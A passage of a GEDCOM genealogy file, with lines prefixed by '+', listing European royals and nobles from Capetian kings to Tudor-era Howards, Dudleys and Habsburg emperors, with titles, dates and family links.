+1 FAMC @F494@
+0 @I2285@ INDI
+1 NAME Philippa  /Mortimer/
+1 SEX F
+1 DEAT
+2 DATE        1401
+1 FAMS @F1063@
+1 FAMS @F1064@
+1 FAMS @F1065@
+1 FAMC @F494@
+0 @I2286@ INDI
+1 NAME Henry (Hotspur) /Percy/
+1 SEX M
+1 FAMS @F1061@
+0 @I2287@ INDI
+1 NAME Thomas  //
+1 TITL Lord Camoys
+1 SEX M
+1 FAMS @F1062@
+0 @I2288@ INDI
+1 NAME John  /Hastings/
+1 TITL Earl of Pembroke
+1 SEX M
+1 FAMS @F1063@
+0 @I2289@ INDI
+1 NAME Richard  /Fitzalan/
+1 TITL Earl of Arundel
+1 SEX M
+1 FAMS @F1064@
+0 @I2290@ INDI
+1 NAME Thomas of_Basing /Poynings/
+1 TITL Lord St. John
+1 SEX M
+1 FAMS @F1065@
+0 @I2291@ INDI
+1 NAME Charles_IV  //
+1 TITL Emperor
+1 SEX M
+1 BIRT
+2 DATE        1316
+1 DEAT
+2 DATE        1378
+1 FAMS @F1066@
+0 @I2292@ INDI
+1 NAME John  /Holland/
+1 TITL Duke of Exeter
+1 SEX M
+1 FAMS @F1067@
+0 @I2293@ INDI
+1 NAME John  /Cornwall/
+1 TITL Lord Fanhope
+1 SEX M
+1 FAMS @F1068@
+0 @I2294@ INDI
+1 NAME Constance  //
+1 SEX F
+1 FAMS @F1069@
+1 FAMC @F488@
+0 @I2295@ INDI
+1 NAME Thomas of_Gloucester /Despencer/
+1 TITL Earl
+1 SEX M
+1 FAMS @F1069@
+0 @I2296@ INDI
+1 NAME Philippa  //
+1 SEX F
+1 FAMS @F1070@
+1 FAMS @F1071@
+1 FAMS @F1072@
+0 @I2297@ INDI
+1 NAME   /Fitzwater/
+1 TITL Lord
+1 SEX M
+1 FAMS @F1070@
+0 @I2298@ INDI
+1 NAME John  /Golafre/
+1 TITL Sir
+1 SEX M
+1 FAMS @F1071@
+0 @I2299@ INDI
+1 NAME Thomas  /Clifford/
+1 TITL Lord
+1 SEX M
+1 FAMS @F1073@
+0 @I2300@ INDI
+1 NAME John  //
+1 TITL Lord Latymer
+1 SEX M
+1 FAMS @F1074@
+0 @I2301@ INDI
+1 NAME Hugh  /Seymour/
+1 TITL Admiral
+1 SEX M
+1 BIRT
+2 DATE        1759
+1 DEAT
+2 DATE        1801
+1 FAMS @F1019@
+1 FAMC @F1075@
+0 @I2302@ INDI
+1 NAME Anne Horatia /Waldegrave/
+1 TITL Lady
+1 SEX F
+1 DEAT
+2 DATE        1801
+1 FAMS @F1019@
+0 @I2303@ INDI
+1 NAME Francis of_Hertford I/Seymour/
+1 TITL Marquess
+1 SEX M
+1 BIRT
+2 DATE        1718
+1 DEAT
+2 DATE        1794
+1 FAMS @F1075@
+0 @I2304@ INDI
+1 NAME Isabella  //
+1 SEX F
+1 BIRT
+2 DATE        1726
+1 DEAT
+2 DATE        1782
+1 FAMS @F1075@
+1 FAMC @F1076@
+0 @I2305@ INDI
+1 NAME Charles  /Fitzroy/
+1 TITL Duke of Grafton
+1 SEX M
+1 BIRT
+2 DATE        1683
+1 DEAT
+2 DATE        1757
+1 FAMS @F1076@
+1 FAMC @F1077@
+0 @I2306@ INDI
+1 NAME Henrietta  /Somerset/
+1 TITL Lady
+1 SEX F
+1 DEAT
+2 DATE        1726
+1 FAMS @F1076@
+0 @I2307@ INDI
+1 NAME Henry  /Fitzroy/
+1 TITL Duke of Grafton
+1 SEX M
+1 BIRT
+2 DATE        1663
+1 DEAT
+2 DATE        1690
+1 FAMS @F1077@
+0 @I2308@ INDI
+1 NAME Isabella  /Bennett/
+1 TITL Lady
+1 SEX F
+1 DEAT
+2 DATE        1723
+1 FAMS @F1077@
+0 @I2309@ INDI
+1 NAME William of_Northampton /Parr/
+1 TITL Marquess
+1 SEX M
+1 FAMC @F332@
+0 @I2310@ INDI
+1 NAME John Northumberland /Dudley/
+1 TITL Duke
+1 SEX M
+1 DEAT
+2 DATE        1553
+1 FAMS @F1078@
+0 @I2311@ INDI
+1 NAME Jane  /Guildford/
+1 SEX F
+1 FAMS @F1078@
+0 @I2312@ INDI
+1 NAME John  /Dudley/
+1 TITL Earl of Warwick
+1 SEX M
+1 DEAT
+2 DATE        1554
+1 FAMS @F1079@
+1 FAMC @F1078@
+0 @I2313@ INDI
+1 NAME Ambrose  /Dudley/
+1 TITL Earl of Warwick
+1 SEX M
+1 DEAT
+2 DATE        1590
+1 FAMS @F1081@
+1 FAMS @F1082@
+1 FAMS @F1083@
+1 FAMC @F1078@
+0 @I2314@ INDI
+1 NAME Henry  /Dudley/
+1 SEX M
+1 FAMS @F1084@
+1 FAMC @F1078@
+0 @I2315@ INDI
+1 NAME Robert of_Leicester /Dudley/
+1 TITL Earl
+1 SEX M
+1 DEAT
+2 DATE        1588
+1 FAMS @F1089@
+1 FAMS @F1090@
+1 FAMC @F1078@
+0 @I2316@ INDI
+1 NAME Jane  /Dudley/
+1 SEX F
+1 FAMS @F1086@
+1 FAMC @F1078@
+0 @I2317@ INDI
+1 NAME Mary  /Dudley/
+1 SEX F
+1 DEAT
+2 DATE        1586
+1 FAMS @F1087@
+1 FAMC @F1078@
+0 @I2318@ INDI
+1 NAME Catherine  /Dudley/
+1 SEX F
+1 FAMS @F1088@
+1 FAMC @F1078@
+0 @I2319@ INDI
+1 NAME Anne  /Seymour/
+1 SEX F
+1 DEAT
+2 DATE        1588
+1 FAMS @F1079@
+1 FAMS @F1080@
+1 FAMC @F1125@
+0 @I2320@ INDI
+1 NAME Edward  /Unton/
+1 SEX M
+1 FAMS @F1080@
+0 @I2321@ INDI
+1 NAME Anne  /Whorwood/
+1 SEX F
+1 DEAT
+2 DATE        1552
+1 FAMS @F1081@
+0 @I2322@ INDI
+1 NAME Elizabeth  /Talboys/
+1 SEX F
+1 FAMS @F1082@
+0 @I2323@ INDI
+1 NAME Anne  /Russell/
+1 SEX F
+1 DEAT
+2 DATE        1603
+1 FAMS @F1083@
+0 @I2324@ INDI
+1 NAME John  /Dudley/
+1 SEX M
+1 FAMC @F1081@
+0 @I2325@ INDI
+1 NAME Margaret  /Audley/
+1 SEX F
+1 DEAT
+2 DATE        1563
+1 FAMS @F1084@
+1 FAMS @F1085@
+0 @I2326@ INDI
+1 NAME Thomas  /Howard/
+1 TITL Duke of Norfolk
+1 SEX M
+1 DEAT
+2 DATE        1572
+1 FAMS @F1085@
+0 @I2327@ INDI
+1 NAME Henry  /Seymour/
+1 SEX M
+1 FAMS @F1086@
+1 FAMC @F1125@
+0 @I2328@ INDI
+1 NAME Henry  /Sidney/
+1 SEX M
+1 DEAT
+2 DATE        1586
+1 FAMS @F1087@
+0 @I2329@ INDI
+1 NAME Henry of_Huntington /Hastings/
+1 TITL Earl
+1 SEX M
+1 DEAT
+2 DATE        1595
+1 FAMS @F1088@
+0 @I2330@ INDI
+1 NAME Amy  /Robsart/
+1 SEX F
+1 DEAT
+2 DATE        1560
+1 FAMS @F1089@
+0 @I2331@ INDI
+1 NAME Lettice  /Knollys/
+1 SEX F
+1 DEAT
+2 DATE        1634
+1 FAMS @F1134@
+1 FAMS @F1090@
+1 FAMS @F1135@
+1 FAMC @F1132@
+0 @I2332@ INDI
+1 NAME Henry  /Herbert/
+1 SEX M
+1 FAMS @F1091@
+0 @I2333@ INDI
+1 NAME Thomas  /Keyes/
+1 SEX M
+1 DEAT
+2 DATE        1571
+1 FAMS @F1092@
+0 @I2334@ INDI
+1 NAME Margaret  /Clifford/
+1 SEX F
+1 DEAT
+2 DATE        1596
+1 FAMS @F1093@
+1 FAMC @F934@
+0 @I2335@ INDI
+1 NAME Henry  /Stanley/
+1 TITL Earl of Derby
+1 SEX M
+1 DEAT
+2 DATE        1593
+1 FAMS @F1093@
+0 @I2336@ INDI
+1 NAME Anne  /Dacre/
+1 SEX F
+1 DEAT
+2 DATE        1581
+1 FAMS @F1094@
+0 @I2337@ INDI
+1 NAME Elizabeth  /Howard/
+1 SEX F
+1 DEAT
+2 DATE        1512
+1 FAMS @F931@
+1 FAMC @F1096@
+0 @I2338@ INDI
+1 NAME George Rochford /Boleyn/
+1 TITL Viscount
+1 SEX M
+1 DEAT
+2 DATE        1536
+1 FAMC @F931@
+0 @I2339@ INDI
+1 NAME Mary  /Boleyn/
+1 SEX F
+1 DEAT
+2 DATE        1544
+1 FAMS @F1095@
+1 FAMC @F931@
+0 @I2340@ INDI
+1 NAME William  /Carey/
+1 SEX M
+1 DEAT
+2 DATE        1528
+1 FAMS @F1095@
+0 @I2341@ INDI
+1 NAME Thomas  /Howard/
+1 TITL Duke of Norfolk
+1 SEX M
+1 DEAT
+2 DATE        1524
+1 FAMS @F1096@
+1 FAMS @F1100@
+0 @I2342@ INDI
+1 NAME Elizabeth  /Tilney/
+1 SEX F
+1 DEAT
+2 DATE        1497
+1 FAMS @F1096@
+0 @I2343@ INDI
+1 NAME Thomas  /Howard/
+1 TITL Duke of Norfolk
+1 SEX M
+1 FAMS @F1097@
+1 FAMS @F1098@
+1 FAMC @F1096@
+0 @I2344@ INDI
+1 NAME Anne of_York //
+1 SEX F
+1 DEAT
+2 DATE        1511
+1 FAMS @F1097@
+0 @I2345@ INDI
+1 NAME Elizabeth  /Stafford/
+1 SEX F
+1 DEAT
+2 DATE        1558
+1 FAMS @F1098@
+0 @I2346@ INDI
+1 NAME Dorothy  /Troyes/
+1 SEX F
+1 FAMS @F1099@
+0 @I2347@ INDI
+1 NAME Agnes  /Tilney/
+1 SEX F
+1 DEAT
+2 DATE        1545
+1 FAMS @F1100@
+0 @I2348@ INDI
+1 NAME William of_Effingham /Howard/
+1 TITL Lord
+1 SEX M
+1 DEAT
+2 DATE        1572
+1 FAMS @F1101@
+1 FAMS @F1102@
+1 FAMC @F1100@
+0 @I2349@ INDI
+1 NAME Dorothy  /Howard/
+1 SEX F
+1 FAMS @F1103@
+1 FAMC @F1100@
+0 @I2350@ INDI
+1 NAME Elizabeth  /Howard/
+1 SEX F
+1 DEAT
+2 DATE        1534
+1 FAMS @F1104@
+1 FAMC @F1100@
+0 @I2351@ INDI
+1 NAME Catherine  /Broughton/
+1 SEX F
+1 DEAT
+2 DATE        1531
+1 FAMS @F1101@
+0 @I2352@ INDI
+1 NAME Margaret  /Gamage/
+1 SEX F
+1 DEAT
+2 DATE        1535
+1 FAMS @F1102@
+0 @I2353@ INDI
+1 NAME Edward  /Stanley/
+1 TITL Earl of Derby
+1 SEX M
+1 DEAT
+2 DATE        1572
+1 FAMS @F1103@
+0 @I2354@ INDI
+1 NAME Henry  /Radcliffe/
+1 TITL Earl of Sussex
+1 SEX M
+1 DEAT
+2 DATE        1556/1557
+1 FAMS @F1104@
+0 @I2355@ INDI
+1 NAME Henry  /Howard/
+1 TITL Earl of Surrey
+1 SEX M
+1 DEAT
+2 DATE        1546
+1 FAMS @F1105@
+1 FAMC @F1098@
+0 @I2356@ INDI
+1 NAME Mary  /Howard/
+1 SEX F
+1 FAMS @F1106@
+1 FAMC @F1098@
+0 @I2357@ INDI
+1 NAME Thomas  /Howard/
+1 TITL Viscount Bindon
+1 SEX M
+1 DEAT
+2 DATE        1582
+1 FAMS @F1107@
+1 FAMC @F1098@
+0 @I2358@ INDI
+1 NAME Frances de_Vere //
+1 SEX F
+1 DEAT
+2 DATE        1577
+1 FAMS @F1105@
+0 @I2359@ INDI
+1 NAME Thomas  /Howard/
+1 TITL Duke of Norfolk
+1 SEX M
+1 DEAT
+2 DATE        1572
+1 FAMS @F1108@
+1 FAMS @F1111@
+1 FAMC @F1105@
+0 @I2360@ INDI
+1 NAME Henry of_Northhampton /Howard/
+1 TITL Earl
+1 SEX M
+1 DEAT
+2 DATE        1614
+1 FAMC @F1105@
+0 @I2361@ INDI
+1 NAME Catherine  /Howard/
+1 SEX F
+1 DEAT
+2 DATE        1596
+1 FAMC @F1105@
+0 @I2362@ INDI
+1 NAME Jane  /Howard/
+1 SEX F
+1 DEAT
+2 DATE        1593
+1 FAMC @F1105@
+0 @I2363@ INDI
+1 NAME Margaret  /Howard/
+1 SEX F
+1 DEAT
+2 DATE        1592
+1 FAMC @F1105@
+0 @I2364@ INDI
+1 NAME Henry  /Fitzroy/
+1 TITL Duke of Richmond
+1 SEX M
+1 DEAT
+2 DATE        1533
+1 FAMS @F1106@
+0 @I2365@ INDI
+1 NAME Gertrude  /Lyte/
+1 SEX F
+1 FAMS @F1107@
+0 @I2366@ INDI
+1 NAME Mary  /Fitzalan/
+1 SEX F
+1 DEAT
+2 DATE        1557
+1 FAMS @F1108@
+0 @I2367@ INDI
+1 NAME Philip  /Howard/
+1 TITL Earl of Arundel
+1 SEX M
+1 DEAT
+2 DATE        1595
+1 FAMS @F1109@
+1 FAMC @F1108@
+0 @I2368@ INDI
+1 NAME Anne  /Dacre/
+1 SEX F
+1 FAMS @F1109@
+0 @I2369@ INDI
+1 NAME Thomas  /Howard/
+1 TITL Earl of Arundel
+1 SEX M
+1 DEAT
+2 DATE        1646
+1 FAMS @F1110@
+1 FAMC @F1109@
+0 @I2370@ INDI
+1 NAME Aletheia  /Talbot/
+1 SEX F
+1 DEAT
+2 DATE        1654
+1 FAMS @F1110@
+0 @I2371@ INDI
+1 NAME Margaret  /Audley/
+1 SEX F
+1 DEAT
+2 DATE        1563
+1 FAMS @F1111@
+0 @I2372@ INDI
+1 NAME Thomas  /Howard/
+1 TITL Earl of Suffolk
+1 SEX M
+1 DEAT
+2 DATE        1626
+1 FAMS @F1112@
+1 FAMS @F1113@
+1 FAMC @F1111@
+0 @I2373@ INDI
+1 NAME Mary  /Dacre/
+1 SEX F
+1 DEAT
+2 DATE        1576
+1 FAMS @F1112@
+0 @I2374@ INDI
+1 NAME Catherine  /Knyvett/
+1 SEX F
+1 DEAT
+2 DATE        1633
+1 FAMS @F1113@
+0 @I2375@ INDI
+1 NAME Theophilus  /Howard/
+1 TITL Earl of Suffolk
+1 SEX M
+1 DEAT
+2 DATE        1640
+1 FAMS @F1114@
+1 FAMC @F1113@
+0 @I2376@ INDI
+1 NAME Thomas of_Berkshire /Howard/
+1 TITL Earl
+1 SEX M
+1 DEAT
+2 DATE        1669
+1 FAMS @F1115@
+1 FAMC @F1113@
+0 @I2377@ INDI
+1 NAME Henry  /Howard/
+1 SEX M
+1 FAMS @F1116@
+1 FAMC @F1113@
+0 @I2378@ INDI
+1 NAME Catherine  /Howard/
+1 SEX F
+1 DEAT
+2 DATE        1672
+1 FAMS @F1118@
+1 FAMC @F1113@
+0 @I2379@ INDI
+1 NAME Frances  /Howard/
+1 SEX F
+1 FAMS @F1119@
+1 FAMS @F1120@
+1 FAMC @F1113@
+0 @I2380@ INDI
+1 NAME Elizabeth  /Dunbar/
+1 SEX F
+1 FAMS @F1114@
+0 @I2381@ INDI
+1 NAME Elizabeth  /Cecil/
+1 SEX F
+1 FAMS @F1115@
+0 @I2382@ INDI
+1 NAME Elizabeth  /Bassett/
+1 SEX F
+1 DEAT
+2 DATE        1643
+1 FAMS @F1116@
+1 FAMS @F1117@
+0 @I2383@ INDI
+1 NAME William of_Newcastle /Cavendish/
+1 TITL Earl
+1 SEX M
+1 FAMS @F1117@
+0 @I2384@ INDI
+1 NAME William of_Berkshire /Cecil/
+1 TITL Earl
+1 SEX M
+1 DEAT
+2 DATE        1668
+1 FAMS @F1118@
+0 @I2385@ INDI
+1 NAME Robert  /Devereux/
+1 TITL Earl of Essex
+1 SEX M
+1 DEAT
+2 DATE        1646
+1 FAMS @F1119@
+0 @I2386@ INDI
+1 NAME Robert  /Carr/
+1 TITL Earl of Somerset
+1 SEX M
+1 DEAT
+2 DATE        1645
+1 FAMS @F1120@
+0 @I2387@ INDI
+1 NAME William  /Howard/
+1 SEX M
+1 DEAT
+2 DATE        1640
+1 FAMS @F1121@
+1 FAMC @F1111@
+0 @I2388@ INDI
+1 NAME Elizabeth  /Dacre/
+1 SEX F
+1 FAMS @F1121@
+0 @I2389@ INDI
+1 NAME Frances  /Howard/
+1 SEX F
+1 DEAT
+2 DATE        1598
+1 FAMS @F1122@
+0 @I2390@ INDI
+1 NAME Frances  /Howard/
+1 SEX F
+1 DEAT
+2 DATE        1639
+1 FAMS @F1123@
+1 FAMS @F1124@
+0 @I2391@ INDI
+1 NAME Ludovic of_Richmond /Stuart/
+1 TITL Duke of Lennox
+1 SEX M
+1 FAMS @F1124@
+0 @I2392@ INDI
+1 NAME Edward  /Seymour/
+1 TITL Duke of Somerset
+1 SEX M
+1 DEAT
+2 DATE        1552
+1 FAMS @F1126@
+1 FAMS @F1125@
+0 @I2393@ INDI
+1 NAME Anne  /Stanhope/
+1 SEX F
+1 DEAT
+2 DATE        1587
+1 FAMS @F1125@
+0 @I2394@ INDI
+1 NAME Henry  /Carey/
+1 TITL Baron Hunsdon
+1 SEX M
+1 DEAT
+2 DATE        1596
+1 FAMS @F1131@
+1 FAMC @F1095@
+0 @I2395@ INDI
+1 NAME Catherine  /Fillol/
+1 SEX F
+1 FAMS @F1126@
+0 @I2396@ INDI
+1 NAME Edward Beauchamp /Seymour/
+1 TITL Lord
+1 SEX M
+1 DEAT
+2 DATE        1618
+1 FAMS @F1127@
+1 FAMC @F938@
+0 @I2397@ INDI
+1 NAME Francis  /Seymour/
+1 TITL Baron Seymour
+1 SEX M
+1 DEAT
+2 DATE        1664
+1 FAMS @F1129@
+1 FAMS @F1130@
+1 FAMC @F938@
+0 @I2398@ INDI
+1 NAME Honora  /Seymour/
+1 SEX F
+1 DEAT
+2 DATE        1620
+1 FAMC @F938@
+0 @I2399@ INDI
+1 NAME Anne  /Sackville/
+1 SEX F
+1 FAMS @F1127@
+1 FAMS @F1128@
+0 @I2400@ INDI
+1 NAME Edward  /Lewes/
+1 SEX M
+1 FAMS @F1128@
+0 @I2401@ INDI
+1 NAME Frances  /Prynne/
+1 SEX F
+1 FAMS @F1129@
+0 @I2402@ INDI
+1 NAME Catherine  /Lee/
+1 SEX F
+1 DEAT
+2 DATE        1700
+1 FAMS @F1130@
+0 @I2403@ INDI
+1 NAME Catherine  /Carey/
+1 SEX F
+1 DEAT
+2 DATE        1568
+1 FAMS @F1132@
+1 FAMC @F1095@
+0 @I2404@ INDI
+1 NAME Anne  /Morgan/
+1 SEX F
+1 FAMS @F1131@
+0 @I2405@ INDI
+1 NAME Francis  /Knollys/
+1 SEX M
+1 DEAT
+2 DATE        1596
+1 FAMS @F1132@
+0 @I2406@ INDI
+1 NAME Henry  /Knollys/
+1 SEX M
+1 DEAT
+2 DATE        1583
+1 FAMS @F1133@
+1 FAMC @F1132@
+0 @I2407@ INDI
+1 NAME William  /Knollys/
+1 TITL Earl of Banbury
+1 SEX M
+1 DEAT
+2 DATE        1632
+1 FAMC @F1132@
+0 @I2408@ INDI
+1 NAME Anne  /Knollys/
+1 SEX F
+1 FAMS @F1136@
+1 FAMC @F1132@
+0 @I2409@ INDI
+1 NAME Catherine  /Knollys/
+1 SEX F
+1 FAMS @F1137@
+1 FAMC @F1132@
+0 @I2410@ INDI
+1 NAME Margaret  /Cave/
+1 SEX F
+1 DEAT
+2 DATE        1606
+1 FAMS @F1133@
+0 @I2411@ INDI
+1 NAME Walter  /Devereux/
+1 TITL Earl of Essex
+1 SEX M
+1 DEAT
+2 DATE        1576
+1 FAMS @F1134@
+0 @I2412@ INDI
+1 NAME Christopher  /Blount/
+1 SEX M
+1 DEAT
+2 DATE        1601
+1 FAMS @F1135@
+0 @I2413@ INDI
+1 NAME Thomas  /Leighton/
+1 TITL Lord De La Warr
+1 SEX M
+1 FAMS @F1136@
+0 @I2414@ INDI
+1 NAME Gerald  /Fitzgerald/
+1 TITL Lord Offaley
+1 SEX M
+1 DEAT
+2 DATE        1580
+1 FAMS @F1137@
+0 @I2415@ INDI
+1 NAME Charles  //
+1 SEX M
+1 DEAT
+2 DATE        1685
+1 FAMC @F940@
+0 @I2416@ INDI
+1 NAME Mariana of_Austria //
+1 SEX F
+1 FAMS @F947@
+1 FAMC @F1138@
+0 @I2417@ INDI
+1 NAME Maria  //
+1 SEX F
+1 FAMS @F1138@
+1 FAMC @F522@
+0 @I2418@ INDI
+1 NAME Ferdinand_III  //
+1 TITL Holy Roman Emper
+1 SEX M
+1 BIRT
+2 DATE        1608
+2 PLAC Graz,Austria
+1 DEAT
+2 DATE        1657
+1 FAMS @F1138@
+1 FAMC @F1139@
+0 @I2419@ INDI
+1 NAME Ferdinand_II  //
+1 TITL Holy Roman Emper
+1 SEX M
+1 BIRT
+2 DATE        1578
+2 PLAC Graz,Austria
+1 DEAT
+2 DATE        1637
+1 FAMS @F1139@
+0 @I2420@ INDI
+1 NAME Leopold_I  //
+1 TITL Holy Roman Emper
+1 SEX M
+1 BIRT
+2 DATE        1640
+2 PLAC Vienna,Austria
+1 DEAT
+2 DATE  5 MAY 1705
+1 FAMS @F1140@
+1 FAMS @F1141@
+1 FAMC @F1138@
+0 @I2421@ INDI
+1 NAME Margaret Teresa //
+1 SEX F
+1 BIRT
+2 DATE        1651
+1 DEAT
+2 DATE        1673
+1 FAMS @F1140@
+1 FAMC @F947@
+0 @I2422@ INDI
+1 NAME Eleanor of_Neuburg //
+1 SEX F
+1 FAMS @F1141@
+0 @I2423@ INDI
+1 NAME Louis de_France //
+1 TITL Dauphin
+1 SEX M
+1 BIRT
+2 DATE        1661
+1 DEAT
+2 DATE        1711
+1 FAMS @F1143@
+1 FAMC @F523@
+0 @I2424@ INDI
+1 NAME Philip_V  //
+1 TITL King of Spain
+1 SEX M
+1 BIRT
+2 DATE        1683
+2 PLAC Versailles,France
+1 DEAT
+2 DATE        1746
+1 FAMS @F1350@
+1 FAMS @F1142@
+1 FAMC @F1143@
+0 @I2425@ INDI
+1 NAME Isabella Elizabeth /Farnese/
+1 SEX F
+1 BIRT
+2 DATE        1692
+1 DEAT
+2 DATE        1766
+1 FAMS @F1142@
+0 @I2426@ INDI
+1 NAME Louis  //
+1 TITL Duke of Burgundy
+1 SEX M
+1 BIRT
+2 DATE        1682
+1 DEAT
+2 DATE        1712
+1 FAMS @F344@
+1 FAMC @F1143@
+0 @I2427@ INDI
+1 NAME Maria Antonia //
+1 SEX F
+1 FAMS @F1144@
+1 FAMC @F1140@
+0 @I2428@ INDI
+1 NAME Maximilian Emmanuel of_Bavaria//
+1 TITL Elector
+1 SEX M
+1 FAMS @F1144@
+0 @I2429@ INDI
+1 NAME Joseph Ferdinand //
+1 TITL Electoral Prince
+1 SEX M
+1 DEAT
+2 DATE        1699
+1 FAMC @F1144@
+0 @I2430@ INDI
+1 NAME Joseph_I  //
+1 TITL Holy Roman Emper
+1 SEX M
+1 BIRT
+2 DATE        1678
+1 DEAT
+2 DATE        1711
+1 FAMC @F1141@
+0 @I2431@ INDI
+1 NAME Charles_VI  //
+1 TITL Holy Roman Emper
+1 SEX M
+1 BIRT
+2 DATE        1685
+2 PLAC Vienna,Austria
+1 DEAT
+2 DATE        1740
+1 FAMS @F1146@
+1 FAMC @F1141@
+0 @I2432@ INDI
+1 NAME Maria Theresa //
+1 TITL Empress
+1 SEX F
+1 DEAT
+2 DATE        1780
+1 FAMS @F1145@
+1 FAMC @F1146@
+0 @I2433@ INDI
+1 NAME Francis_I Stephen //
+1 TITL Holy Roman Emper
+1 SEX M
+1 BIRT
+2 DATE        1708
+2 PLAC Nancy,Lorraine
+1 DEAT
+2 DATE        1765
+1 FAMS @F1145@
+0 @I2434@ INDI
+1 NAME Joseph_II  //
+1 TITL Holy Roman Emper
+1 SEX M
+1 BIRT
+2 DATE 13 MAR 1741
+2 PLAC Vienna,Austria
+1 DEAT
+2 DATE        1790
+1 FAMC @F1145@
+0 @I2435@ INDI
+1 NAME Eugene of_Leuchtenberg /de_Beauharnais/
+1 TITL Duke
+1 SEX M
+1 FAMS @F1149@
+0 @I2436@ INDI
+1 NAME Augusta of_Bavaria //
+1 SEX F
+1 FAMS @F1149@
+0 @I2437@ INDI
+1 NAME Francis Charles //
+1 TITL Archduke
+1 SEX M
+1 BIRT
+2 DATE        1802
+1 DEAT
+2 DATE        1878
+1 FAMS @F1150@
+0 @I2438@ INDI
+1 NAME Henry_II  //
+1 TITL King of France
+1 SEX M
+1 BIRT
+2 DATE 31 MAR 1519
+2 PLAC Saint-Germain,en-Laye
+1 DEAT
+2 DATE 10 JUL 1559
+2 PLAC Paris,France
+1 BURI
+2 PLAC St. Denis,France
+1 FAMS @F1148@
+1 FAMC @F728@
+0 @I2439@ INDI
+1 NAME Catherine of_Florence /de_Medici/
+1 SEX F
+1 BIRT
+2 DATE        1519
+1 DEAT
+2 DATE        1589
+1 FAMS @F1148@
+0 @I2440@ INDI
+1 NAME Claude of_France //
+1 SEX F
+1 BIRT
+2 DATE        1499
+1 DEAT
+2 DATE        1524
+1 FAMS @F728@
+1 FAMC @F1201@
+0 @I2441@ INDI
+1 NAME Margaret of_Navarre //
+1 SEX F
+1 FAMC @F729@
+0 @I2442@ INDI
+1 NAME John_II (Juan_II) //
+1 TITL King of Castile
+1 SEX M
+1 BIRT
+2 DATE        1405
+1 DEAT
+2 DATE        1454
+1 FAMS @F1152@
+0 @I2443@ INDI
+1 NAME Isabella of_Portugal //
+1 SEX F
+1 FAMS @F1152@
+0 @I2444@ INDI
+1 NAME Walter  /Sommerlath/
+1 SEX M
+1 FAMS @F1153@
+0 @I2445@ INDI
+1 NAME Alice  /de_Toledo/
+1 SEX F
+1 FAMS @F1153@
+0 @I2446@ INDI
+1 NAME Victoria Ingrid Alice//
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE 14 JUL 1977
+1 FAMC @F220@
+0 @I2447@ INDI
+1 NAME Carl Philip //
+1 TITL Prince of Sweden
+1 SEX M
+1 BIRT
+2 DATE 13 MAY 1979
+1 FAMC @F220@
+0 @I2448@ INDI
+1 NAME Francis Frederick of_Saxe-Coburg//
+1 TITL Duke
+1 SEX M
+1 BIRT
+2 DATE        1750
+1 DEAT
+2 DATE        1806
+1 REFN 6
+1 FAMS @F1367@
+1 FAMS @F1147@
+1 FAMS @F70@
+1 FAMC @F1360@
+0 @I2449@ INDI
+1 NAME Maria Henrietta //
+1 SEX F
+1 BIRT
+2 DATE        1836
+1 DEAT
+2 DATE        1902
+1 FAMS @F1154@
+1 FAMC @F1155@
+0 @I2450@ INDI
+1 NAME Joseph of_Austria //
+1 TITL Archduke
+1 SEX M
+1 BIRT
+2 DATE        1776
+1 DEAT
+2 DATE        1847
+1 FAMS @F1155@
+0 @I2451@ INDI
+1 NAME Philip_II Augustus //
+1 TITL King of France
+1 SEX M
+1 BIRT
+2 DATE 21 AUG 1165
+2 PLAC Gonesse,Nr: Paris,France
+1 DEAT
+2 DATE 14 JUL 1223
+2 PLAC Mantes,France
+1 BURI
+2 PLAC St. Denis,France
+1 FAMS @F1156@
+1 FAMS @F1170@
+1 FAMS @F1171@
+1 FAMC @F1169@
+0 @I2452@ INDI
+1 NAME Louis_VI the_Fat //
+1 TITL King of France
+1 SEX M
+1 BIRT
+2 DATE ABT    1081
+2 PLAC Paris,France
+1 DEAT
+2 DATE  1 AUG 1137
+2 PLAC Paris,France
+1 BURI
+2 PLAC St. Denis,France
+1 FAMS @F694@
+1 FAMS @F1158@
+1 FAMC @F1159@
+0 @I2453@ INDI
+1 NAME Adelaide of_Savoy //
+1 SEX F
+1 DEAT
+2 DATE        1154
+1 FAMS @F1158@
+0 @I2454@ INDI
+1 NAME Philip_I the_Fair //
+1 TITL King of France
+1 SEX M
+1 BIRT
+2 DATE        1052
+1 DEAT
+2 DATE 29 JUL 1108
+1 FAMS @F1159@
+1 FAMS @F1160@
+1 FAMC @F1161@
+0 @I2455@ INDI
+1 NAME Bertha of_Holland //
+1 SEX F
+1 DEAT
+2 DATE        1093
+1 FAMS @F1159@
+0 @I2456@ INDI
+1 NAME Bertrada de_Montfort //
+1 SEX F
+1 FAMS @F1160@
+0 @I2457@ INDI
+1 NAME Henry_I  //
+1 TITL King of France
+1 SEX M
+1 BIRT
+2 DATE    APR 1008
+1 DEAT
+2 DATE  4 AUG 1060
+2 PLAC Vitry-en-Brie,France
+1 BURI
+2 PLAC St. Denis,France
+1 FAMS @F1196@
+1 FAMS @F1161@
+1 FAMC @F1162@
+0 @I2458@ INDI
+1 NAME Robert_II the_Pious //
+1 TITL King of France
+1 SEX M
+1 BIRT
+2 DATE ABT     970
+2 PLAC Orleans,France
+1 DEAT
+2 DATE        1031
+1 FAMS @F1163@
+1 FAMS @F1164@
+1 FAMS @F1162@
+1 FAMC @F1165@
+0 @I2459@ INDI
+1 NAME Constance of_Arles //
+1 SEX F
+1 DEAT
+2 DATE        1032
+1 FAMS @F1162@
+0 @I2460@ INDI
+1 NAME Hugh  //
+1 SEX M
+1 BIRT
+2 DATE        1007
+1 DEAT
+2 DATE        1025
+1 FAMC @F1162@
+0 @I2461@ INDI
+1 NAME Unknown  //
+1 SEX F
+1 FAMS @F1163@
+0 @I2462@ INDI
+1 NAME Bertha of_Burgundy //
+1 SEX F
+1 BIRT
+2 DATE ABT     962
+1 FAMS @F1164@
+0 @I2463@ INDI
+1 NAME Hugh  /Capet/
+1 TITL King of France
+1 SEX M
+1 BIRT
+2 DATE ABT     938
+1 DEAT
+2 DATE    AUG  996
+1 BURI
+2 PLAC St. Denis,France
+1 FAMS @F1165@
+0 @I2464@ INDI
+1 NAME Louis_X the_Headstrong //
+1 TITL King of France
+1 SEX M
+1 BIRT
+2 DATE  4 OCT 1289
+2 PLAC Paris,France
+1 DEAT
+2 DATE  5 JUN 1316
+2 PLAC Vincennes,France
+1 BURI
+2 PLAC St. Denis,France
+1 FAMS @F1232@
+1 FAMS @F1157@
+1 FAMC @F794@
+0 @I2465@ INDI
+1 NAME Philip_V the_Tall //
+1 TITL King of France
+1 SEX M
+1 BIRT
+2 DATE ABT    1294
